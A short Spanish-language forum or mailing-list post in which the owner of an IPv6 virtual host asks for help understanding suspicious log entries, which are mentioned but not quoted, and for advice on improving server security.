Buenas... como poseo un host virtual en ipv6... he visto en los logs
que aparecen mensajes como estos...

Me sospecho que quieren hackearme el servidor... ipv6... por el error
404 supongo que no han podido...

Si alguien me pude explicar que pasa se lo agradecería... y que me
recomendarían para que en la afirmativa mejorar la seguridad...

Saludos...
